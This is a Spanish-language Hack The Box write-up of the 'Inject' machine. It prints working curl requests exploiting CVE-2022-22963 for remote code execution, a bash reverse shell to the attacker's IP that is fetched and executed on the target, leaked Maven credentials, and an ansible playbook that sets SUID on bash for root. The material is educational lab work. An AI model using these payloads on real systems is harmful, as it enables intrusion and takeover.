La máquina Inject es una máquina fácil en HTB. Descubriremos un LFI con el que tendremos capacidad de "Directory Listing", gracias al LFI sabremos el servicio interno y encontraremos una vulnerabilidad que mediante Java podremos hacer RCE para obtener una "reverse shell". Localizaremos las credenciales de otro usuario en un archivo XML y como último, mediante pspy podremos ver una tarea que ejecuta archivos YML con lo que podremos poner la bash con permisos SUID.
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para saber cuáles están activos.
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.176.14 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-11 20:10 CET
Initiating SYN Stealth Scan at 20:10
Scanning 10.129.176.14 [65535 ports]
Discovered open port 8080/tcp on 10.129.176.14
Discovered open port 22/tcp on 10.129.176.14
Completed SYN Stealth Scan at 20:10, 22.56s elapsed (65535 total ports)
Nmap scan report for 10.129.176.14
Host is up, received user-set (0.066s latency).
Scanned at 2023-03-11 20:10:32 CET for 22s
Not shown: 59504 closed ports, 6029 filtered ports
Reason: 59504 resets and 6029 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
En este caso podemos ver que son 2 los puertos activos: el 22 (SSH) y el 8080 (Web).
Los parámetros utilizados son:
- -p- : Escaneo de todos los puertos. (65535)
- –open: Para que solo muestre los puertos abiertos
- -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
- –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
- -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
- -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitamos el descubrimiento de host mediante ping.
- -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.
Realizamos un escaneo exhaustivo sobre los puertos para descubrir los servicios y versiones que hay en los mismos.
❯ nmap -p22,8080 -sCV 10.129.176.14 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-11 20:13 CET
Nmap scan report for 10.129.176.14
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds
Este sería el menú principal de la web, se puede interactuar solo con el menú de blogs y el directorio de upload.
Nos deja subir archivos, probamos a subir una imagen por si nos deja verla después.
Podemos ver la imagen sin problemas. Utiliza el parámetro img para que veamos la imagen, esto puede ser interesante por 2 cosas: puede ser vulnerable a LFI o podemos subir un archivo y que nos podamos entablar una reverse shell.
Intrusión
Si probamos el LFI en efecto podremos ver el archivo passwd de la máquina víctima. Como usuarios, tenemos 2 interesantes: frank y phil.
Si probamos a hacer la petición podremos ver que tenemos capacidad de directory listing, mucho más fácil para poder enumerar archivos importantes de la máquina.
En este caso podemos ver que el archivo user.txt está en directorio $HOME del usuario phil , pero no lo podemos ver.
Empezamos enumerando la ruta de /var/ y nos encontramos con la carpeta WebApp.
Dentro de WebApp encontramos varios directorios y rutas.
Leemos el archivo pom.xml, ya que normalmente suelen contener información interesante. Podemos ver que está ejecutando el framework de Spring.
Spring es un framework como antes hemos mencionado de código abierto que facilita la creación de aplicaciones en Java.
Si buscamos sobre alguna vulnerabilidad podremos encontrar el CVE-2022-22963.
Para saber si es vulnerable debemos hacer una petición mediante curl, pasándole un argumento en java e intentando ejecutar código remoto en la máquina víctima, veamos un ejemplo.
❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.129.176.14:8080...
* Connected to 10.129.176.14 (10.129.176.14) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.176.14:8080
> User-Agent: curl/7.81.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 12 Mar 2023 01:40:49 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-12T01:40:49.724+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
En el ejemplo de arriba lo que hacemos es, mediante curl tramitar una petición por POST con un argumento de java intentando crear un archivo en el directorio /tmp. En caso de que ese archivo exista estaremos realizando un RCE.
Y efectivamente el archivo pwned se ha creado.
Creamos un archivo en bash que contenga una reverse shell.
❯ cat exploit.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.172/4444 0>&1
Mediante python levantamos el servidor web.
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos ponemos en escucha con nc por el puerto 4444.
❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Subimos el archivo a la máquina víctima.
❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.172/exploit.sh -o /tmp/exploit.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.129.176.14:8080...
* Connected to 10.129.176.14 (10.129.176.14) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.176.14:8080
> User-Agent: curl/7.81.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.172/exploit.sh -o exploit.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 12 Mar 2023 01:52:14 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-12T01:52:14.412+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Le damos permisos de ejecución y lo ejecutamos.
❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/exploit.sh")' --data-raw 'data' -v
[...]
❯ curl -X POST http://10.129.176.14:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/exploit.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.129.176.14:8080...
* Connected to 10.129.176.14 (10.129.176.14) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.176.14:8080
> User-Agent: curl/7.81.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/exploit.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 12 Mar 2023 02:05:51 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-03-12T02:05:51.851+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"
Recibimos la reverse shell como el usuario frank.
❯ nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.176.14 47224
bash: cannot set terminal process group (793): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ cd
cd
frank@inject:~$
Escalda de privilegios
En el directorio $HOME del usuario frank encontramos una carpeta oculta poco común. En esta carpeta hay un fichero XML con las credenciales permitiéndonos cambiar al usuario de phil.
frank@inject:~$ ls -la
ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb 1 18:38 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
frank@inject:~$ ls .ms
.m2/settings.xml
frank@inject:~$ cat .m2/settings.xml
cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
frank@inject:~$ su phil
Password:
phil@inject:/home/frank$ cd
phil@inject:~$
Leemos la flag del usuario.
phil@inject:~$ cat user.txt
4bc28d07334830c520c7b684b0ee367b
Subimos la herramienta de pspy para saber qué tareas se están ejecutando.
phil@inject:~$ wget 10.10.14.172/pspy64 [204/204]
--2023-03-12 03:09:33-- http://10.10.14.172/pspy64
Connecting to 10.10.14.172:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 2.26MB/s in 1.3s
2023-03-12 03:09:34 (2.26 MB/s) - ‘pspy64’ saved [3104768/3104768]
Ejecutamos la herramienta y descubrimos una tarea bastante interesante en la que ejecuta con ansible-parallel cualquier archivo YML.
phil@inject:~$ chmod +x pspy64
phil@inject:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc
/home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/03/12 03:36:01 CMD: UID=0 PID=6758 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml 2023/03/12 03:36:01 CMD: UID=0 PID=6757 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
Creamos este fichero YML en nuestra máquina para poner la bash con permisos SUID.
- hosts: localhost
tasks:
- name: Privilege Escalation
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
Lo importamos a la máquina víctima, en la ruta /opt/automation/tasks así solo queda esperar a que la bash tenga permisos SUID.
phil@inject:/opt/automation/tasks$ wget 10.10.14.172/playbook_2.yml
--2023-03-12 03:27:34-- http://10.10.14.172/playbook_2.yml
Connecting to 10.10.14.172:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 138 [application/xml]
Saving to: ‘playbook_2.yml’
playbook_2.yml 100%[===================>] 138 --.-KB/s in 0s
2023-03-12 03:27:34 (12.1 MB/s) - ‘playbook_2.yml’ saved [138/138]
phil@inject:/opt/automation/tasks$ ls
playbook_2.yml playbook_1.yml
phil@inject:/opt/automation/tasks$ ls -la
total 16
drwxrwxr-x 2 root staff 4096 Mar 12 03:27 .
drwxr-xr-x 3 root root 4096 Oct 20 04:23 ..
-rw-rw-r-- 1 phil phil 138 Mar 12 03:23 playbook_2.yml
-rw-r--r-- 1 root root 150 Mar 12 03:26 playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_2.yml
- hosts: localhost
tasks:
- name: Privilege Escalation
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
Después de algunos minutos la bash tiene permisos SUID y nos convertimos en root pudiendo leer así la flag.
phil@inject:/opt/automation/tasks$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
39a6d795485ff269d47c34b4582df2c2
bash-5.0#
Consulta, ¿Por que es necesario subir el archivo para hacer el reverse shell y directamente no se puede en el curl pasar el comonado: spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(“bash -i >& /dev/tcp/IP/PUERTO 0>&1”)’ ?
Gracias!
Tienes razón, no lo probé directamente, pero lo más probable es que de esa manera también obtengas una reverse shell.